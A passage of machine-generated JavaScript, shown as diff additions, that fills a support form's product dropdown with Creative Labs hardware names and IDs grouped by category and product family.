+ try { addBoxItem(document.Support_Form.Product_ID, 'ThumbDrive', '10681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 12 : // PC Barebone
+ switch(parseInt(famID)) {
+
+ case 54 : // SLiX PC
+ try { addBoxItem(document.Support_Form.Product_ID, 'SLiX PC MPC61Y0', '11766'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 11 : // Monitors
+ switch(parseInt(famID)) {
+
+ case 53 : // LCD
+ try { addBoxItem(document.Support_Form.Product_ID, '17" TFT LCD Monitor With DVI', '9980'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 60 : // Video
+ switch(parseInt(famID)) {
+
+ case 96 : // Video Editing
+ try { addBoxItem(document.Support_Form.Product_ID, 'Video Blaster MovieMaker', '13'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 13 : // Accessories
+ switch(parseInt(famID)) {
+
+ case 55 : // Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Optical Digital I/O Card II', '30'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy Internal Drive', '88'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audigy External Drive', '89'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive IR', '26'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Drive I', '27'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Remote Controller SBLive', '1816'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 449 : // Zen Micro
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 483 : // Zen Neeon
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 264 : // Portable Media Center
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 57 : // MP3 Players
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox 3 Car Kit', '4894'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FM Wired Remote - Jukebox 3/Jukebox Zen/MuVo\u00B2', '115'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Power Adapter', '125'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cassette Adapter Kit', '401'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Car Kit - Jukebox 3/Jukebox 2/Jukebox Zen/MuVo\u00B2', '496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery Modules - MuVo NX / TX / TX FM', '9217'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Armband - MuVo NX / TX / TX FM', '10126'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 58 : // Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-1100 Speaker Stands', '166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones HQ-1700', '11164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Earphones EP-880', '11156'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset HE-100', '11023'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MT-500 Speaker Tripods', '399'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Speaker Extension Cables', '415'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5300 Spkr Grilles', '637'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Inspire 5700 Spkr Grilles', '664'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 256 : // Wireless
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 59 : // Storage
+ try { addBoxItem(document.Support_Form.Product_ID, 'S-Video Cable Coupler', '250'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'IDE Cable Set', '255'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr2 Decoder Board', '1648'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Dxr3 Decoder Card', '12'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 118 : // Digital Cameras
+ switch(parseInt(famID)) {
+
+ case 117 : // Digital Still Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 4200ZS', '10822'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3200Z', '9762'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DC-CAM 3000Z', '9028'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam', '120'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'CardCam Value', '116'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 309 : // Digital Video Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'DiVi CAM 316', '11175'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 10 : // Mice & Keyboards
+ switch(parseInt(famID)) {
+
+ case 223 : // Wired Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 5500', '11387'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse 3500', '11388'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Classic', '4919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical Lite', '4920'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Optical 3000', '4924'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Optical Mouse', '262'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 224 : // Wireless Mice
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel', '11165'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint Travel Mini', '11166'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 227 : // Wireless Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 9000 Pro', '11493'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 228 : // Wired PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 52 : // Gaming Devices
+ try { addBoxItem(document.Support_Form.Product_ID, 'Avant Force NX', '9394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Cobra Force 3D', '9396'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Gamepad I', '1658'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 8 : // Musical Keyboards
+ switch(parseInt(famID)) {
+
+ case 234 : // PC & MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM', '9389'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys DM Value', '9600'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Prodikeys', '504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 231 : // MIDI Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative Blasterkeys', '40'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 237 : // Creative Professional
+ switch(parseInt(famID)) {
+
+ case 239 : // Digital Audio Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820M', '10496'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1212M', '10500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 1820', '10494'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'E-MU 0404', '10498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 240 : // Desktop Sampling Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X', '10502'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X Studio', '10504'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 421 : // Desktop Sound Modules
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X', '11074'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 258 : // Accessories and Upgrades
+ try { addBoxItem(document.Support_Form.Product_ID, 'Proteus X Software Upgrade', '11073'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Emulator X OS Upgrade', '10225'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mo\'Phatt X', '11329'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Planet Earth X', '11330'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Virtuoso X', '11332'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vintage X Pro Collection', '11072'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Street Kits', '11331'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'AudioDock M', '10229'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audio Dock', '10230'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Beat Shop 2', '10404'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'EDI Cable', '10227'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sync Daughter Card', '10576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 243 : // Wireless
+ switch(parseInt(famID)) {
+
+ case 246 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 5500', '11178'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'FreePoint 3500', '11386'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 5000', '9145'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 8000', '10104'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Desktop Wireless 6000', '5039'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical', '263'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless Optical 3000', '4923'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 248 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2460', '11238'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headset CB2455', '11394'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Wireless Headset for Bluetooth', '10287'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Headphones CB2530', '11644'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 244 : // Notebook Products
+ switch(parseInt(famID)) {
+
+ case 250 : // PCMCIA Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 ZS Notebook', '10769'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 249 : // USB Sound Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy 2 NX', '9103'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music LX', '10246'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 251 : // Portable Speaker Systems
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound 200', '10164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound i-300', '9022'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound MP3', '1874'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 252 : // Mice & Keyboards
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Wireless NoteBook Optical', '10188'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mouse Notebook Optical', '9147'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 253 : // Web Cameras
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Live! Ultra for Notebooks', '11491'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Notebook', '629'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'WebCam Mobile', '4890'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 6 : // Graphics
+ switch(parseInt(famID)) {
+
+ case 37 : // ATI Radeon 9000 series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250', '11489'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RX9250 Xtreme', '11490'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 230 : // 3D Labs
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster Picture Perfect', '164'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 99 : // NVIDIA GeForce
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce', '1500'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce 2', '1501'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce Pro', '1505'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster GeForce2 ULTRA 64MB AGP', '1512'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 98 : // NVIDIA Riva TNT Series
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Pro', '1527'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Graphics Blaster RIVA128ZX', '1689'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Riva TNT2', '4841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster RIVA TNT2 Value', '4842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster TNT2 Ultra', '4843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 73 : // 3D Blaster
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 Titanium 4200', '1516'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9700 Pro', '1524'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX440', '1539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 64MB', '1540'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro', '1541'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX420', '4869'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9800 Pro', '4917'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 4 MX460', '4969'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600', '4973'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9000 Pro 128MB', '8995'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9200 SE', '9024'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 Pro', '9576'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 XT', '10311'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster 5 RX9600 SE', '10335'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Savage 4', '1536'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster VLB', '1537'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster Voodoo 2', '1538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, '3D Blaster PCI', '1523'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
